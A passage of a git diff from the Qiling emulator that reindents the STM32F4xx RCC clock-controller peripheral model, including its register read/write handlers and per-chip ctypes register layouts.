ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C + ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 + ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 + ('RESERVED7' , ctypes.c_uint32), # Reserved, 0x88 + ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C + ] - def __init__(self, ql, label, intn=None): - super().__init__(ql, label) + def __init__(self, ql, label, intn=None): + super().__init__(ql, label) - self.instance = self.struct( - CR = 0x00000083, - PLLCFGR = 0x24003010, - AHB1LPENR = 0x0061900F, - AHB2LPENR = 0x00000080, - APB1LPENR = 0x10E2C80F, - APB2LPENR = 0x00077930, - CSR = 0x0E000000, - PLLI2SCFGR = 0x24003000, - ) + self.instance = self.struct( + CR = 0x00000083, + PLLCFGR = 0x24003010, + AHB1LPENR = 0x0061900F, + AHB2LPENR = 0x00000080, + APB1LPENR = 0x10E2C80F, + APB2LPENR = 0x00077930, + CSR = 0x0E000000, + PLLI2SCFGR = 0x24003000, + ) - self.rdyon = { - 'CR': [ - (RCC_CR.HSIRDY , RCC_CR.HSION ), - (RCC_CR.HSERDY , RCC_CR.HSEON ), - (RCC_CR.PLLRDY , RCC_CR.PLLON ), - (RCC_CR.PLLI2SRDY, RCC_CR.PLLI2SON), - ], - 'CFGR': [ - (RCC_CFGR.SWS_0, RCC_CFGR.SW_0), - (RCC_CFGR.SWS_1, RCC_CFGR.SW_1), - ], - 'CSR': [ - (RCC_CSR.LSIRDY, RCC_CSR.LSION) - ] - } + self.rdyon = { + 'CR': [ + (RCC_CR.HSIRDY , RCC_CR.HSION ), + (RCC_CR.HSERDY , RCC_CR.HSEON ), + (RCC_CR.PLLRDY , RCC_CR.PLLON ), + (RCC_CR.PLLI2SRDY, RCC_CR.PLLI2SON), + ], + 'CFGR': [ + (RCC_CFGR.SWS_0, RCC_CFGR.SW_0), + (RCC_CFGR.SWS_1, RCC_CFGR.SW_1), + ], + 'CSR': [ + (RCC_CSR.LSIRDY, RCC_CSR.LSION) + ] + } - self.intn = intn + self.intn = intn - @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: - buf = ctypes.create_string_buffer(size) - ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) - return int.from_bytes(buf.raw, byteorder='little') + @QlPeripheral.monitor() + def read(self, offset: int, size: int) -> int: + buf = ctypes.create_string_buffer(size) + ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) + return int.from_bytes(buf.raw, byteorder='little') - @QlPeripheral.monitor() - def write(self, offset: int, size: int, value: int): - if offset == self.struct.CR.offset: - value = (self.instance.CR & RCC_CR.RO_MASK) | (value & RCC_CR.RW_MASK) - elif offset == self.struct.CFGR.offset: - value = (self.instance.CFGR & RCC_CFGR.RO_MASK) | (value & RCC_CFGR.RW_MASK) + @QlPeripheral.monitor() + def write(self, offset: int, size: int, value: int): + if offset == self.struct.CR.offset: + value = (self.instance.CR & RCC_CR.RO_MASK) | (value & RCC_CR.RW_MASK) + elif offset == self.struct.CFGR.offset: + value = (self.instance.CFGR & RCC_CFGR.RO_MASK) | (value & RCC_CFGR.RW_MASK) - data = (value).to_bytes(size, 'little') - ctypes.memmove(ctypes.addressof(self.instance) + offset, data, size) + data = (value).to_bytes(size, 'little') + ctypes.memmove(ctypes.addressof(self.instance) + offset, data, size) - def step(self): - for reg, rdyon in self.rdyon.items(): - value = getattr(self.instance, reg) - for rdy, on in rdyon: - if value & on: - value |= rdy - else: - value &= ~rdy - setattr(self.instance, reg, value) + def step(self): + for reg, rdyon in self.rdyon.items(): + value = getattr(self.instance, reg) + for rdy, on in rdyon: + if value & on: + value |= rdy + else: + value &= ~rdy + setattr(self.instance, reg, value) diff --git a/qiling/hw/misc/stm32f4xx_rcc_derive.py b/qiling/hw/misc/stm32f4xx_rcc_derive.py index d4b86f000..63d916106 100644 --- a/qiling/hw/misc/stm32f4xx_rcc_derive.py +++ b/qiling/hw/misc/stm32f4xx_rcc_derive.py @@ -10,262 +10,262 @@ class STM32F4xxRccV1(STM32F4xxRcc): class Type(ctypes.Structure): """ the structure available in : - stm32f413xx.h - stm32f412vx.h - stm32f412rx.h - stm32f423xx.h - stm32f412zx.h - """ + stm32f413xx.h + stm32f412vx.h + stm32f412rx.h + stm32f423xx.h + stm32f412zx.h + """ _fields_ = [ - ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 - ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 - ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 - ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C - ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 - ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 - ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 - ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C - ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 - ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 - ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C - ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 - ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 - ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 - ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C - ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 - ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 - ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C - ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 - ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 - ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 - ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C - ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 - ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 - ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C - ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 - ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 - ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C - ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 - ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 - ('RESERVED7' , ctypes.c_uint32), # Reserved, 0x84 - ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C - ('CKGATENR' , ctypes.c_uint32), # RCC Clocks Gated ENable Register, Address offset: 0x90 - ('DCKCFGR2' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register 2, Address offset: 0x94 - ] + ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 + ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 + ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 + ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C + ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 + ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 + ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 + ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C + ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 + ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 + ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C + ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 + ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 + ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 + ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C + ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 + ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 + ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C + ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 + ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 + ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 + ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C + ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 + ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 + ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C + ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 + ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 + ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C + ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 + ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 + ('RESERVED7' , ctypes.c_uint32), # Reserved, 0x84 + ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C + ('CKGATENR' , ctypes.c_uint32), # RCC Clocks Gated ENable Register, Address offset: 0x90 + ('DCKCFGR2' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register 2, Address offset: 0x94 + ] class STM32F4xxRccV2(STM32F4xxRcc): class Type(ctypes.Structure): """ the structure available in : - stm32f407xx.h - stm32f415xx.h - stm32f417xx.h - stm32f405xx.h - """ + stm32f407xx.h + stm32f415xx.h + stm32f417xx.h + stm32f405xx.h + """ _fields_ = [ - ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 - ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 - ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 - ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C - ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 - ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 - ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 - ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C - ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 - ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 - ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C - ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 - ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 - ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 - ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C - ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 - ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 - ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C - ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 - ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 - ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 - ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C - ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 - ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 - ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C - ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 - ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 - ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C - ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 - ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 - ] + ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 + ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 + ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 + ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C + ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 + ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 + ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 + ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C + ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 + ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 + ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C + ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 + ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 + ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 + ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C + ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 + ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 + ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C + ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 + ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 + ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 + ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C + ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 + ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 + ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C + ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 + ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 + ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C + ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 + ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 + ] class STM32F4xxRccV3(STM32F4xxRcc): class Type(ctypes.Structure): """ the structure available in : - stm32f469xx.h - stm32f427xx.h - stm32f439xx.h - stm32f479xx.h - stm32f429xx.h - stm32f437xx.h - """ + stm32f469xx.h + stm32f427xx.h + stm32f439xx.h + stm32f479xx.h + stm32f429xx.h + stm32f437xx.h + """ _fields_ = [ - ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 - ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 - ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 - ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C - ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 - ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 - ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 - ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C - ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 - ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 - ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C - ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 - ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 - ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 - ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C - ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 - ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 - ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C - ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 - ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 - ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 - ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C - ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 - ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 - ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C - ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 - ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 - ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C - ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 - ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 - ('PLLSAICFGR', ctypes.c_uint32), # RCC PLLSAI configuration register, Address offset: 0x88 - ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C - ] + ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 + ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 + ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 + ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C + ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 + ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 + ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 + ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C + ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 + ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 + ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C + ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 + ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 + ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 + ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C + ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 + ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 + ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C + ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 + ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 + ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 + ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C + ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 + ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 + ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C + ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 + ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 + ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C + ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 + ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 + ('PLLSAICFGR', ctypes.c_uint32), # RCC PLLSAI configuration register, Address offset: 0x88 + ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C + ] class STM32F446Rcc(STM32F4xxRcc): class Type(ctypes.Structure): """ the structure available in : - stm32f446xx.h - """ + stm32f446xx.h + """ _fields_ = [ - ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 - ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 - ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 - ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C - ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 - ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 - ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 - ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C - ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 - ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 - ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C - ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 - ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 - ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 - ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C - ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 - ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 - ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C - ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 - ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 - ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 - ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C - ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 - ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 - ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C - ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 - ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 - ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C - ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 - ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 - ('PLLSAICFGR', ctypes.c_uint32), # RCC PLLSAI configuration register, Address offset: 0x88 - ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C - ('CKGATENR' , ctypes.c_uint32), # RCC Clocks Gated ENable Register, Address offset: 0x90 - ('DCKCFGR2' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register 2, Address offset: 0x94 - ] + ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 + ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 + ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 + ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C + ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 + ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 + ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 + ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C + ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 + ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 + ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C + ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 + ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 + ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 + ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C + ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 + ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 + ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C + ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 + ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 + ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 + ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C + ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 + ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 + ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C + ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 + ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 + ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C + ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 + ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 + ('PLLSAICFGR', ctypes.c_uint32), # RCC PLLSAI configuration register, Address offset: 0x88 + ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C + ('CKGATENR' , ctypes.c_uint32), # RCC Clocks Gated ENable Register, Address offset: 0x90 + ('DCKCFGR2' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register 2, Address offset: 0x94 + ] class Type(ctypes.Structure): """ the structure available in : - stm32f469xx.h - stm32f427xx.h - stm32f439xx.h - stm32f479xx.h - stm32f429xx.h - stm32f437xx.h - """ + stm32f469xx.h + stm32f427xx.h + stm32f439xx.h + stm32f479xx.h + stm32f429xx.h + stm32f437xx.h + """ _fields_ = [ - ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 - ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration 